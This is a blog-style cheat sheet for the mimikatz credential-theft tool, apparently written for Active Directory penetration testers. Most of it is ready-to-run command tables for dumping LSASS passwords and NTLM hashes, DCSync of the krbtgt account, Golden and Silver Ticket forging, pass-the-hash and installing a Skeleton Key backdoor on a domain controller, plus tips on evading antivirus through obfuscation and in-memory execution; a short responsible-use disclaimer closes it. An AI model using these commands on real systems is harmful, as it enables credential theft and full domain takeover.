root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to cheatsheets
root@sparrow:~/writeups$ cat mimikatz.md
// Active Directory

Mimikatz

21 Jul 2026 · 5 min read
Active Directorycheatsheetsmimikatz
mimikatz is a Windows tool with an interactive console, created by Benjamin Delpy to extract credentials from system memory. Its specialty is dumping cleartext passwords, NTLM hashes and Kerberos tickets straight from the LSASS process, as well as abusing the local SAM and LSA secrets. It is the de facto standard for Active Directory domain post-exploitation.

Nearly everything in mimikatz relies on reading LSASS memory, which is a protected process: you need SeDebugPrivilege (hence privilege::debug) and usually SYSTEM or local administrator context. The key nuance is that cleartext credentials only show up if WDigest or other providers keep them in memory; on modern Windows with LSA Protection or Credential Guard the live dump fails, so you fall back to an offline LSASS minidump processed later.

1. Beginner level — local credential dumping

MIMIKATZ cheat sheet — Beginner
CommandWhat it does
mimikatz.exeLaunches the interactive console
privilege::debugEnables SeDebugPrivilege (needed for almost everything)
sekurlsa::logonpasswordsDumps credentials from LSASS memory
sekurlsa::wdigestExtracts WDigest passwords (if stored in cleartext)
sekurlsa::msvDumps the NTLM hashes from LSASS
lsadump::samDumps the hashes from the local SAM
lsadump::cacheDumps cached domain credentials (MSCache)
sekurlsa::ticketsLists the Kerberos tickets in memory
token::whoamiShows the current token
token::elevateImpersonates a SYSTEM token
log salida.txtLogs the output to a file
versionShows the mimikatz version
sekurlsa::logonpasswords fullFull dump with all providers
exitExits the console

2. Advanced level — Active Directory attacks

MIMIKATZ cheat sheet — Advanced
CommandWhat it does
lsadump::dcsync /domain:dom.local /user:krbtgtDCSync: extracts the krbtgt hash
lsadump::dcsync /domain:dom.local /all /csvDCSync of the whole domain to CSV
kerberos::golden /user:admin /domain:dom /sid:<sid> /krbtgt:<hash> /pttGolden Ticket + injection
kerberos::golden /user:admin /domain:dom /sid:<sid> /rc4:<hash> /target:srv /service:cifsSilver Ticket
sekurlsa::pth /user:admin /domain:dom /ntlm:<hash> /run:cmdPass-the-Hash launching cmd
kerberos::ptt ticket.kirbiInjects a ticket (Pass-the-Ticket)
sekurlsa::ekeysExtracts AES Kerberos keys from LSASS
lsadump::lsa /injectDumps LSA secrets by injecting into LSASS
lsadump::secretsDumps the LSA secrets from the registry
crypto::capiEnables exporting non-exportable keys
dpapi::masterkeyDecrypts DPAPI masterkeys
vault::credDumps credentials from Windows Vault
misc::skeletonInstalls a Skeleton Key on the DC (backdoor)
sekurlsa::minidump lsass.dmpProcesses an offline LSASS dump

3. Details people miss

  • Run privilege::debug right after opening the console: almost every sekurlsa:: module fails with ERROR kuhl_m_privilege_simple if you lack SeDebugPrivilege, which requires administrator or SYSTEM context.
  • On Windows 8.1/2012 R2 and later WDigest is disabled by default, so sekurlsa::logonpasswords no longer shows cleartext passwords unless the attacker re-enables it in the registry and the victim logs in again.
  • mimikatz is flagged by virtually every antivirus and by Windows Defender; in a real environment you need obfuscation, in-memory execution, or dumping lsass.dmp with another tool and processing it offline with sekurlsa::minidump.
  • The misc::skeleton module is extremely noisy and destructive: it patches lsass in memory on the DC (it does not survive a reboot) and injects a master password for every account. Use it only in a lab or with explicit authorization.
  • Architecture matters: use the mimikatz build (x86/x64) that matches the target LSASS process, or the dump and key reading will fail silently.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.